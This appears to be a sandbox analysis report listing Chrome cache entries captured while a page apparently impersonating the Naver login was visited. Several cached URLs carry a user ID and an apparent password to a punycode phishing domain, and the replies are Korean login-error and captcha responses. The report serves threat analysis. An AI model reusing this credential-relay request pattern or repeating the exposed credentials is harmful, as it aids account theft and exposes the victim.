Preview:	.PNG........IHDR.............<.q.....tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c111 79.158325, 2015/09/10-01:10:20 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:BB5F18E9585511E6B487F5C9F0DC67AF" xmpMM:InstanceID="xmp.iid:BB5F18E8585511E6B487F5C9F0DC67AF" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0150AB5D438E11E68388EB23030D22B9" stRef:documentID="xmp.did:0150AB5E438E11E68388EB23030D22B9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Y.......IDATx..].lT...bm...G ....D...Ihu..I..Ae'm....... .....(R....r..`aNM..(4....:h.@.iS...@"'...`..5......

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	422
Entropy (8bit):	3.8937993719736204
Encrypted:	false
SSDEEP:	6:YGKIS4puH4XtbvGXt3WpuH9SM5mWmJM5f0k0xepuHpV5Q5mWmaGCOJbvan:YGKI9uH4FOQuH9PLf0kWGuHdWHaSn
MD5:	2BA1CA5271A0FDD0C06E96C33203BCB0
SHA1:	95338C3CE9C87BFC873D388E051605FF5CE2804B
SHA-256:	BA6D00CDACAD5E89779EB2495A17BA366FF1058480FAC415733FCD5085D9EBAE
SHA-512:	845FD829DE9E233BABA91FC342BF4B5FEDE5F44C2D9E359511D02D5257F3ECE0B8B31438215F32F68576A25328570D70621DF40C5A6745A60302911E96E789A1
Malicious:	false
Reputation:	low
Preview:	{"code": "pwd", "p": "\n \uc544\uc774\ub514(\ub85c\uadf8\uc778 \uc804\ud654\ubc88\ud638, \ub85c\uadf8\uc778 \uc804\uc6a9 \uc544\uc774\ub514) \ub610\ub294 \ube44\ubc00\ubc88\ud638\uac00 \uc798\ubabb \ub418\uc5c8\uc2b5\ub2c8\ub2e4. \uc544\uc774\ub514\uc640 \ube44\ubc00\ubc88\ud638\ub97c \uc815\ud655\ud788 \uc785\ub825\ud574 \uc8fc\uc138\uc694.\n "}

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	422
Entropy (8bit):	3.8937993719736204
Encrypted:	false
SSDEEP:	6:YGKIS4puH4XtbvGXt3WpuH9SM5mWmJM5f0k0xepuHpV5Q5mWmaGCOJbvan:YGKI9uH4FOQuH9PLf0kWGuHdWHaSn
MD5:	2BA1CA5271A0FDD0C06E96C33203BCB0
SHA1:	95338C3CE9C87BFC873D388E051605FF5CE2804B
SHA-256:	BA6D00CDACAD5E89779EB2495A17BA366FF1058480FAC415733FCD5085D9EBAE
SHA-512:	845FD829DE9E233BABA91FC342BF4B5FEDE5F44C2D9E359511D02D5257F3ECE0B8B31438215F32F68576A25328570D70621DF40C5A6745A60302911E96E789A1
Malicious:	false
Reputation:	low
URL:	https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e//?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781679
Preview:	{"code": "pwd", "p": "\n \uc544\uc774\ub514(\ub85c\uadf8\uc778 \uc804\ud654\ubc88\ud638, \ub85c\uadf8\uc778 \uc804\uc6a9 \uc544\uc774\ub514) \ub610\ub294 \ube44\ubc00\ubc88\ud638\uac00 \uc798\ubabb \ub418\uc5c8\uc2b5\ub2c8\ub2e4. \uc544\uc774\ub514\uc640 \ube44\ubc00\ubc88\ud638\ub97c \uc815\ud655\ud788 \uc785\ub825\ud574 \uc8fc\uc138\uc694.\n "}

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 47089
Category:	downloaded
Size (bytes):	12112
Entropy (8bit):	7.983139766603726
Encrypted:	false
SSDEEP:	192:u83yhlnp0OGcQJ25p+G4qrV0/NePgpXTvdokvx2yM4UW2SXw7Ls:uyo5p0OGcQL+V01ePWXqk5HU9vs
MD5:	44893C775D2941EA2CB60AB4F88B0BFB
SHA1:	3913E5053C1852228E0472F41DC6FB7EB34A4EB4
SHA-256:	384BDB9C8B667C1A489BE4B92D102802F0B11D73DE6C24DCE8AA49B6FD647E7C
SHA-512:	CB7778F20A17AB17F684B6C60A7387FA00F46FE4400E0D7DCE95BB5AE06388AB7D744CA5E211538A390ADFBB9F4F30B212D1B0DD8BF3913BA5BA50E179CD410E
Malicious:	false
Reputation:	low
URL:	https://nid.naver.com/inc/common/js/lcs_nclicks.js
Preview:	...........}k....g.W..b.........\|.."....Kq....".h..y...-.)...,..3.%mV^...@K......?.......U.L...=_\S...YYYYY.YYY..E......q....b/.H...h...H.....J,.n.[.V...7^x..9.....X...8...F~....>./........y..w.K...U^.\..\.J...S.p......d.....?....\|..-.cg.F..OHh..uH8x..:....{.-bE.U'...s.,..=.N"(..........(..#..m..Kb7I.`X'Cx..&..._'c.B. ..O...%..Jf.z........6...2..`dz.#,.....Mn.X6{.l.....Y7.#.b..1r.2........d..D..w..}.i......M.8!I.`Hu..FX.0e.......A..:B.M.3.U..0...Pv@.i?q..........]{!.$..@w.6{........{.......'.O...~.....=\|:..32{.h.....o......{.....x<..59...F...~-m.I....Q.Z.@...8..H..`e.C...,.C...k..;.....O..V.`..p\.....V.FC...y..p._'?.h.Q.w\.r..A..h.7.O......2H~......?..1.U.d=.f.4..r...c...fOA...(I..o....q7.A...~.L.5.. A...f."m....3t..Is.\.?..;.\.........k.t.... ./...6#.. +b...~..l....m....w._..O.?.={.lv.3.1..Y.]...[_.5./.c.r.e2.`..0N^s...n.......fX..G...~v...w...C.s..7p.je........Ij..J..!.q$8..L.d..k.j.$\|.......G.SZ".] ..cWL.....O......#g....3..ZI.5r....

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	22510
Entropy (8bit):	5.435522213092108
Encrypted:	false
SSDEEP:	384:dAtSNKAXAn/HSklQPVklQRklQWTeiVICowOFpqi/isiRpJYisiHriUriEpG:dAcdQ6klQNklQRklQAowOF0i6hHhuhEo
MD5:	5354D75C6B5649BBE53BB12AC9FD09B5
SHA1:	ADB89388F0F4C498D35D94FFC370538EDFD8FCEA
SHA-256:	27923C2C7118F7FD16D3B928504B161257B7CAC7AD5804B7AEFDA93DD85C3466
SHA-512:	6771798B55E7379B6266CB916E4C0EAAFE95155AE09D2E5EE4DAC07C9DD1A3A6B7100A1EFB59858C79C3D4BC7915F1ECEA9189D6290557416CEE10881B52D4DE
Malicious:	false
Reputation:	low
Preview:	function isValid_corp_no(no).{..var regStr = /^[0-9]{13}$/;. if( !regStr.test(no) ) {. return false;. }.. if( '0000000000000' == no. ) { return false; }.. return true;.. var str = no.toString();. a = str.substring(0, 1);. b = str.substring(1, 2);. c = str.substring(2, 3);. d = str.substring(3, 4);. e = str.substring(4, 5);. f = str.substring(5, 6);. g = str.substring(6, 7);. h = str.substring(7, 8);. i = str.substring(8, 9);. j = str.substring(9, 10);. k = str.substring(10, 11);. l = str.substring(11, 12);. m = str.substring(12, 13);.. var sum=a1+b2+c1+d2+e1+f2+g1+h2+i1+j2+k1+l2;. var tmp = 0;.. tmp = 10 - (sum%10);. if( 10 == tmp) tmp = 0;.. if( tmp == m) { return true; }. else { return false; }.}..function isValid_bizr_no(no).{. var regStr = /^[0-9]{10}$/;. if( !regStr.test(no) ) {. return false;. }.. if( '0000000000' == no. \|\| '4444444444'

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	18021
Entropy (8bit):	5.176809836630795
Encrypted:	false
SSDEEP:	384:la+E7/b79OuQUYf/2Zdrj24k3keZ45O0gBy28xvBctldb69geLpc2v0v71fiw4sN:lpE7NOuQL3k1j2LUeZ4QI2MMdUg+F0A4
MD5:	760EF10A5D3183264980AEA896704920
SHA1:	9DC93C75E1C6AB0DF34162C8D0B6C067F24C4212
SHA-256:	260C1FADAB7BE1453FE7EB85538494B64B2C958AB845446391E3FA7E83CCCD1F
SHA-512:	21468989FDF05A7C982E35457B7405BEE5D026FA4F09553F9092083A4882E5B69FBAC1922584F6F8A9269693C501FE70C2416D93D2CB7F4876B3A62685BBF9C2
Malicious:	false
Reputation:	low
Preview:	var dbits;....var canary = 0xdeadbeefcafe;..var j_lm = ((canary&0xffffff)==0xefcafe);....function BigInteger(a,b,c) {.. if(a != null).. if("number" == typeof a) this.fromNumber(a,b,c);.. else if(b == null && "string" != typeof a) this.fromString(a,256);.. else this.fromString(a,b);..}....function nbi() { return new BigInteger(null); }....function am1(i,x,w,j,c,n) {.. while(--n >= 0) {.. var v = xthis[i++]+w[j]+c;.. c = Math.floor(v/0x4000000);.. w[j++] = v&0x3ffffff;.. }.. return c;..}....function am2(i,x,w,j,c,n) {.. var xl = x&0x7fff, xh = x>>15;.. while(--n >= 0) {.. var l = this[i]&0x7fff;.. var h = this[i++]>>15;.. var m = xhl+hxl;.. l = xll+((m&0x7fff)<<15)+w[j]+(c&0x3fffffff);.. c = (l>>>30)+(m>>>15)+xhh+(c>>>30);.. w[j++] = l&0x3fffffff;.. }.. return c;..}....function am3(i,x,w,j,c,n) {.. var xl = x&0x3fff, xh = x>>14;.. while(--n >= 0) {.. var l = this[i]&0x3fff;.. var h = this[i++]>>14;.. var m = xhl+h*xl;.. l =

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	104
Entropy (8bit):	1.585067803660408
Encrypted:	false
SSDEEP:	3:YGKIQH3H5LFgn:YGKIS4n
MD5:	82DEA56F92B11811202D339784D66BCA
SHA1:	A3D65CF090D3FB8B4553ABBD53985B7AA17A65B4
SHA-256:	89F8283203E95A8C463DE02C1B6F1EC940BCDF382B91AE6EF19BC8FA22BD564A
SHA-512:	B6C5E1E9A2D1662A136F183B69A4AD1BBE42CBD6073C8759F4214A00855CAC5FFA8BD680B5A9F51AC1D5CAC00BDB511EA627D1C574417743AE277C8F93E4B9B1
Malicious:	false
Reputation:	low
URL:	https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e//?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781678
Preview:	{"code": "pwd", "p": "\n \n "}

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9729
Entropy (8bit):	5.171704243360931
Encrypted:	false
SSDEEP:	192:/UoAQURNF6rxo7p2a0m/vaI8AbiwdvVE4c05eNmIQGbPLh++5/0+jpxHBU50+pO/:uB7p2a0m78qvVE4H5N/GbPLs+5/04/BB
MD5:	4C6C695DF6E05EFA8ECFCA5893ED6CBB
SHA1:	F3E09ABFFF530DF582A7A4E37C06BB93DF911720
SHA-256:	383B038CF3099D6EEC1303BBB4DBE77DFDA1A426E5D41D92802A0BE3356CD332
SHA-512:	23D8D6CA3567B1F1652EC82BEB5F85F4953196E0D27B91E7191B971DDB24FC036D56B9E22408F99BFB04344BB43969EF054BF261588DDAF77946BEA027E905E5
Malicious:	false
Reputation:	low
Preview:	if (typeof nclk == "undefined") {...nclk = {}..}..if (typeof nclkMaxDepth == "undefined") {...var nclkMaxDepth = 8..}..if (typeof ccsrv == "undefined") {...var ccsrv = "cc.naver.com"..}..if (typeof nclkModule == "undefined") {...var nclkModule = "cc"..}..if (typeof nsc == "undefined") {...var nsc = "decide.me"..}..if (typeof g_pid == "undefined") {...var g_pid = ""..}..if (typeof g_sid == "undefined") {...var g_sid = ""..}..var nclkImg = [];..nclk.version = "1.2.12";..nclk.getScrollBarWidth = function() {...var e = document.createElement("p");...e.style.width = "200px";...e.style.height = "200px";...var f = document.createElement("div");...f.style.position = "absolute";...f.style.top = "0px";...f.style.left = "0px";...f.style.visibility = "hidden";...f.style.width = "200px";...f.style.height = "150px";...f.style.overflow = "hidden";...f.appendChild(e);...document.body.appendChild(f);...var b = e.offsetWidth;...f.style.overflow = "scroll";...var a = e.offsetWidth;...if (b == a) {....a =

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 95825
Category:	downloaded
Size (bytes):	33301
Entropy (8bit):	7.991375600090256
Encrypted:	true
SSDEEP:	768:484wG9gsYNgF1NYYspgqVIpOY/j8giuTsrkAj4OBy5bw:484hYa1NYYOg4IpOY/j8tGc4dW
MD5:	4AB4B5FE6BF1518C8715A5D4E943D05C
SHA1:	36C123F88B64FF5488789A146E9C7CD810154CAE
SHA-256:	58180B2B8707E28383B4BE1E2DA71177F60A72DA4ABD24069E248A532F7EEF27
SHA-512:	62584EF4A21281A519BF1033B0B7CB88B2DBE9BFF62DC01DCD0CDA19B1DF14D98415EDEC5595B6C2C8278E4AB501D92549CF69C89897F92CE7F53A6C5610AC83
Malicious:	false
Reputation:	low
URL:	https://nid.naver.com/inc/common/js/jquery.min.js
Preview:	...........iw.G...}..@Tk.!...r...%....-.m......Hl.@Q4...7...H......n.U.Y.FFFD.r.sv...b.p.f......g~..=..>..w....b}..}.^...VY..^."......eV.v........n.....4x...u..(.?l...l....E.{"._....]\}..~....j..Tsg.......[$.....Uq...v........+...,9./W9../.sz._z.h[..3j%8....h..\........'......M.=..D.Q..a.DAO.z.%{1....n.f.@u.o...y.x.e4.....r5...2Ov..~.7.v. nPh.yr.<.....c...tE..{.9.Ut...jwu..._\|q.....w..?...5.;_../.&.8..Wyr..$......z...."..~p...h..l..5&,z.....M.n.....m...bQ..E.....@..n..]a.P.....t.xf...z.w.E'J..e...8../.2m.V+.j..'.M.J.bJ#Y..Y.E....@$.bh.....#...e..[.._Dz.E....\...-..j.d.6J..t..&......L.D...Pi@.2L..q..l6........L..n......P.E..".CS.L..b".zI..r....w...e4.v..,...g.I8...U~r.f........\.S.#4..F........?.....S;..8..!.b....S..f"...@;z..i.d=..3.M....zQ$+.0g......Ue.^ ..vv8,.....Yp8.3B'...E%.7..;??.F..\|.................Y.$.l.Oh....:Q..{..~.....\..#...*w..)!.b?...p.7&..L.8.J.&..si.h>..._.$S..u...To...j......I.....z...m....H^.A....E....

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 22510
Category:	downloaded
Size (bytes):	4719
Entropy (8bit):	7.957375877464624
Encrypted:	false
SSDEEP:	96:B9vV3o3KIY8cs1PUHp6iA+J4KM7cOXeIIW9guUpbVhzZd:Tq3KIXcyYI0Jkj+XV
MD5:	DCD1DC522DE2EBC9E09049E7441E5177
SHA1:	7C03768064AD6EF0DD761508643210F149AF1965
SHA-256:	1B1BB781D3D970DD19ED8891CD35DFF6B6B8898774F13E4637AACD6C58EAA569
SHA-512:	E1F1FC71C3D09E09D6B06FA438E3E1C4E9796E701F528239EB247DA26F436B2AA91005CE572C799362A08CF963BA61DD83F3D71014B3074A9E726C875E09E316
Malicious:	false
Reputation:	low
URL:	https://nid.naver.com/inc/common/js/ko/commonUtil.js?20170214
Preview:	...........\{....{.)Z<.Y.rI.S..."...,.N\..Cr$r.73..Z^C........:....!..9...D.d.H.~....y..l).!......W....f.5,...5.k47....0-....OH.4..z{.Y..}p.4{j.vy~........%.........nS!}l...&ki]G.uvO.U..'.j5fZ..4.....r]{..R.r....Ut-`.0..c..Ci..l:.....W..(-...6.....{..D....R=Q...E...(]T.W.N...l.+.$J.U.........Jo$JO.4J^..8PZ....r.W..X/Y..+..8...W.f..J...&<ux...g...<o..&<.3.jP....... O.Kl.....XP. ...h.x=,.......t.O!(^...&....4>.....&.S..s(..0..'....G,....e+.g2.LxI..2a%eBJ....%).FR&..L.H...a.X.A...f`.Pc......xVcf9..LV..[..d.N..1..Y...jn...Z.-C...AwC..[l......2`s...L._B.FTI.T5..c5.....R.s.5.!..q^!I.p.I...H.$.D.$.).$.w.$I..$I.q$I..#I.t!).K.....3I!.<..z..f.....`Mm'K.d'..r.Z,G....nNB.p.N#J.....-..T......./..c.f..\...>..V..U..e..\....\..<..x.\."..%p....W.....\..<..x.\.b5T...Z.....Y\|&....s<..{....8aC.$Q?.f.Zm3a.\..@..J.5.pw.R.r..%.......#..l.Y...;..[5...._7..Zr.....+6:.}.....he.+^iy}...O..+...E.&8..v.......c.B.`.R.~\|.fD.0h....9.`{.[. .X.t....&...........8(

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 63 x 11, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	560
Entropy (8bit):	7.469820860357248
Encrypted:	false
SSDEEP:	12:6v/7HPXnaacS2cp4REKbhMPm/YAQEqEYq/lr4Q3EgB3E2sz:G/RcS2cpUbaPKb1plr4Q3EgB3E2sz
MD5:	079B7D3C43DC94A8E2AF16BFF09C9ACE
SHA1:	6CB3DDE0EECFD680E166FAD5A70B081C904A35A6
SHA-256:	326563F7904E43AF49EAAF79934ACF49B692FB66D10DB05E18DF823A8703AA82
SHA-512:	7B19E9B242B338DCDC4BD146DAC675127AF0FBBDF3FE8A27F8F93B2E90D33BF852238B0C5718BD0EE64C0B651FF411F8801B2F74C6E962A3AF54421D51BDA03F
Malicious:	false
Reputation:	low
URL:	https://static.nid.naver.com/images/web/user/ci_naver.png
Preview:	.PNG........IHDR...?..........Ud....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.V.m.@....d...T....?.......L.d....R.........A.\.........$g...~....{...J.}.\|......cl.w.M........K..9.k.'.......c$\|h..X_....)X..9\|K..*..d.\&.k...x..-...k...+..-.{q.........<..@....d.}..K....R.}.I^..mvNR.!1...3...........NIdH.\|.....gJ.c.q..;...B&9.Q.z.V..-.D......`#.f...=.t$(U._..Fi.k.XY)mE.i4.%..EVr.w...DL...v..I.OB....b<B..(.t..q....)...eW=k;..Q{.lLrU..fS.L...;..<w..);T.......[...z~..R...D....6i9..)~d.....:.s........Qe..q...6X...V.\......$.Y........IEND.B`.

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 9729
Category:	downloaded
Size (bytes):	2760
Entropy (8bit):	7.911669149722576
Encrypted:	false
SSDEEP:	48:XHs0dqFhs1ze9B4d5F8QyoUIM2m0UwyIp9ETlZ4zXEOlep45SPljKCoplEsYMH2:82qFh+ych8YRUoo4Dmvde25
MD5:	1FB5589A76E7F47130097A864CFDDF35
SHA1:	377670EBFC7C11BB1C44C92E7AA8564D8CEC718E
SHA-256:	1B4454419AF53BC5A287CB79E089EF8B158A001B449EBCDE38CD309ED9482118
SHA-512:	4CA7F45612E4C4F6C5EF0AFC7060F5AC2D4F76D172C729288645E6C55205F8A95E896F62E39BF66BF860BDD15914204CD65083CA9B3B968019062F12C8A0D7F7
Malicious:	false
Reputation:	low
URL:	https://nid.naver.com/js/clickcr.js
Preview:	............iS.....j.C.9V..l.JU2...9`.+0....[....$.2.3.....R.$3LRIU.)F...w.{.qD.r..,"i...m...........YG.....g./.)....4/'...AQC"..3.CV...P.......l....f.}\....<X...a...0.Q.J.....x..\B..B...c&.R.p:......g...,.RD.....-GA....,I....x......t.:.M2.......4(...ur...:.g."..\rq.....1A...'..C..#.G...I&y..R..Y..J..e.#L......m..1..q....N....B.BQC..?.a..=J.y.k..4..O.d.R...}....<.....0."FK.Ug1.Nm....k.A...w.+..$.)8.l....t.'......)2..^... PGg.3.iX..:<...S}dT..!..M.{..p...d.....o..t.~..}...~.r.Z.9HM.......&.J.B.......P.m.Vb<.....,..&....$..pB\.ee.K.y.R.y.`.l~.......G...s..........q.R..F8.....Y.j4X...tH.G.B...]..9.E...K.h...A....5Y.3#ZI.........A:...M..Dm..^9.:L,..Lj.R.G`.D8...aT.S+&b;..........-.s..'...k...~...$A..B_JR.)X....2.6../'~...P...9-..F].I/..:.....W...l..w.q....fI....+.V.G.........&..{+..4.9.S.w0ej..h..<...z.....i.P.m...J..f.Q.0U..Z...F..c.:O.....P..}.Y`.2.....'...`...k...}..EVfa..u..z...X.+Ub..~A.[.}..cD..n.J.........B....^./)+AG.~.>..YY.

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	47174
Entropy (8bit):	6.062468903263722
Encrypted:	false
SSDEEP:	768:ZlFzM05xJGYJO6Ojy8jIcdxLXWi4u4hZ6Awuc++2TMeR+eh/L/wrcw:Z3L5HfUk8jIGWx9M++k5+ehD4rD
MD5:	FD2A828D79031EEB75AE851DD2E04073
SHA1:	6BCC3872897D633358CB7E3669474536C0032A94
SHA-256:	34D8D794314872F134BA2D7B0A21B4D95F79AFDD16054915D879DD4B4D1DA1A3
SHA-512:	1E0906ECB1ABB4FAAD31B1565C679A3E15484B46C2F6CC775CB0FD9E5407C05866362E2274727910AF6F6EF3DE50ACB26F5B41147B4A1CDD259D7073E04D015E
Malicious:	false
Reputation:	low
URL:	https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e//?m=cmd&uid=wldushjy&mm=pwd&p1=wldushjy&p2=rD%2C%3Ce.Z%5BQ5%2BsTfluK&p3=&_=1736838781681
Preview:	{"code": "captcha", "p": "\n <div id=\"rcapt\"><div class=\"captcha_img\">\n\t<img id=\"captchaimg\" src=\"data:image/png;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAFAAp4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDDC04C

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	47174
Entropy (8bit):	6.062468903263722
Encrypted:	false
SSDEEP:	768:ZlFzM05xJGYJO6Ojy8jIcdxLXWi4u4hZ6Awuc++2TMeR+eh/L/wrcw:Z3L5HfUk8jIGWx9M++k5+ehD4rD
MD5:	FD2A828D79031EEB75AE851DD2E04073
SHA1:	6BCC3872897D633358CB7E3669474536C0032A94
SHA-256:	34D8D794314872F134BA2D7B0A21B4D95F79AFDD16054915D879DD4B4D1DA1A3
SHA-512:	1E0906ECB1ABB4FAAD31B1565C679A3E15484B46C2F6CC775CB0FD9E5407C05866362E2274727910AF6F6EF3DE50ACB26F5B41147B4A1CDD259D7073E04D015E
Malicious:	false
Reputation:	low
Preview:	{"code": "captcha", "p": "\n <div id=\"rcapt\"><div class=\"captcha_img\">\n\t<img id=\"captchaimg\" src=\"data:image/png;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAFAAp4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDDC04C

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	40
Entropy (8bit):	4.377567157116928
Encrypted:	false
SSDEEP:	3:mScF89KdiunSNoQY:mSx9GiP+QY
MD5:	839534F91D4BFC1BF9E6B4855B732CC8
SHA1:	F00B4F49CD5B8746E92DA3384E4E7FCB35B10261
SHA-256:	BA858976D41D6696D24E87F0F8E540495ED5732E0A23B88BF6BA0B557977EFC1
SHA-512:	115940CC8617A1038C368AD581618316A09435F23824A1E79DDE328658A875EB7EF36434D5455FD5AA0EAC161840BE89280A2B7F5C48307717751E46776AEF16
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHgmED5xgIQ3pVBIFDeRdmpMSBQ1Yaqo8EgUNlirl0w==?alt=proto
Preview:	ChsKBw3kXZqTGgAKBw1Yaqo8GgAKBw2WKuXTGgA=

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (453), with CRLF line terminators
Category:	downloaded
Size (bytes):	308408
Entropy (8bit):	4.88815455361679
Encrypted:	false
SSDEEP:	3072:i+Id2msKa/DddBtA2VP/0io3fwVX3NElMgveo5EaWBiYiJ/Fe4AyzPopoyKjef70:XG/FvljeR0ojK
MD5:	9AB4DA77044F62F753BB1589B98F0950
SHA1:	9B4D0E7FA5AB71A694AD61588FCC23B928A1A7BA
SHA-256:	E35F17E8BFFAC0B461A0EB39BFFE5C926527E1CCC145C2C6DD74B4A547CB0541
SHA-512:	F3A8CFF28DD8FA8F211F639B7BE65CFCC74767F481B4495DB9B28361EFBA2CF51D8B23E4EC42892F221720ABCB713D9EAA9C37C983A6172207FFBA254F90BD05
Malicious:	false
Reputation:	low
URL:	https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e//assets/css/help_member.css
Preview:	/2021-6-3 11:21:27 AM/..@charset "UTF-8";body,button,dd,dl,dt,fieldset,form,h1,h2,h3,h4,h5,h6,input,legend,li,ol,p,select,table,td,textarea,th,ul {.. margin: 0;.. padding: 0..}....body,button,input,select,table,textarea {.. font-family: -apple-system,BlinkMacSystemFont,"Malgun Gothic",".. ..",helvetica,"Apple SD Gothic Neo",sans-serif;.. font-size: 12px..}....fieldset,img {.. border: 0..}....ol,ul {.. list-style: none..}....address,em {.. font-style: normal..}....a {.. text-decoration: none..}....a[href]:active,a[href]:focus,a[href]:hover {.. text-decoration: underline..}.....t select {.. font-size: 11px!important..}.....t strong {.. font-weight: 400;.. -webkit-text-stroke-width: .03em..}....input[type=image],input[type=password],input[type=submit],input[type=text] {.. -webkit-border-radius: 0;.. -webkit-appearance: none..}....input[type=text]::-ms-clear {.. display: none..}....input[type=password]::-ms-reveal {.. display: none.

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	152
Entropy (8bit):	4.572942606011763
Encrypted:	false
